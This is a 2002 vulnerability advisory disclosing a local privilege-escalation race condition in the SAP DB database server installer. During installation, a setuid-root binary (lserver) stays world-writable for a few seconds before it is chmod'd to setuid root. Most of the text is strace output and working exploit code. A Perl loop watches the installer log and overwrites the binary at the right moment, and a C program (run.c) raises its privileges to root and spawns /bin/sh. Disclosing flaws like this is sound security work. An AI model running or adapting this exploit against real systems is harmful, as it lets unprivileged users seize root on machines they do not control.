Larry W. Cashdollar Vapid Labs SAP database server local root during installation 12/8/2002 Summary : The SAP database (http://www.sapdb.org) has an exploitable race condition upon installation. This race condition can yield root to a local malicous user. This race condition exists between permissions changes on a setuid root file, during the beggining of installation the file is world writeable, at the end of installation the file is chmod'd to setuid root. A file integerity check is run after unpacking the binaries; however, a large gap between this check and the chmod operation exists (a few seconds at least). The installtion program that is our culprit SDBINST is an elf executable. Details : Open up permissions. chmod("/usr/sapdb/depend/pgm/lserver", 0100777) = 0 . . . Integrity check: open("/usr/sapdb/depend/pgm/lserver", O_RDONLY) = 3 fstat64(3, {st_mode=S_IFREG|0777, st_size=15673, ...}) = 0 old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0 x40024000 read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\2\0\3\0\1\0\0\0P\207\4"..., 4096) = 409 6 read(3, "rk/incl/SAPDB -DSYSV -D_SVID -I/"..., 4096) = 4096 read(3, ")=*(13,4)=xslocale_data:,0,192;\\"..., 4096) = 4096 read(3, "\1\0\0\0\4\0\0\0\20\0\0\0?\0\0\0\3\0\0\0\2\0\0\0\340\203"..., 4096) = 3 385 read(3, "", 4096) = 0 read(3, "", 4096) = 0 close(3) = 0 . . . setuid root bit: chmod("/usr/sapdb/depend/pgm/lserver", 04775) = 0 . . . Exploit: Before the setuid root bit is set, a log file is written to that a normal non-privilidged user can read. This file was located in /tmp/sapdb-server-linux-32bit-i386-7_3_0_29/y/config/install/. We simply watch that file for what is written to it just before the call to chmod. Here is the log file write: open("/tmp/sapdb-server-linux-32bit-i386-7_3_0_29/y/config/install/LIST7aad69a81ebce2cb87b4514e53d9554b", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 3 fstat64(3, {st_mode=S_IFREG|0644, st_size=0, ...}) = 0 fcntl64(0x3, 0x2, 0x1, 0x401a6ce0) = 0 fstat64(3, {st_mode=S_IFREG|0644, st_size=0, ...}) = 0 old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40024000 write(3, "\"lib/libsqlca.a\" f1d67919f97aa15"..., 4096) = 4096 write(3, "/PRECOM.ins\" 6e00ace2afd80ec50a1"..., 4096) = 4096 we can key on PRECOM is appears this only shows up once in our log. At the right moment we copy our own malicious code over the binary. #!/bin/perl while (1) { $test = `grep -sh PRECOM.ins /tmp/sapdb-server-linux-32bit-i386-7_3_0_29/y/config/install/LIST*`; if ( $test =~ /PRECOM/ ) { system("cp /home/lwc/run /usr/sapdb/depend/pgm/lserver"); exit(1); } } The code we would rather have in place is: ---- run.c ----- /*##Larry W. Cashdollar, lwc@vapid.dhs.org *##This is just a wrapper to boost our privs from euid(0) to uid(0) guid(0 */ #include #include int main (void) { char *shell[2]; shell[0] = "sh"; shell[1] = NULL; if (!setreuid (0, 0)) printf ("We have root, getting sgid perms and spawning shell.\n"); else { printf ("Ack, We lost the race.\n"); _exit (0); } setregid (0, 0); execve ("/bin/sh", shell, NULL); return(0); } ------ run.c --------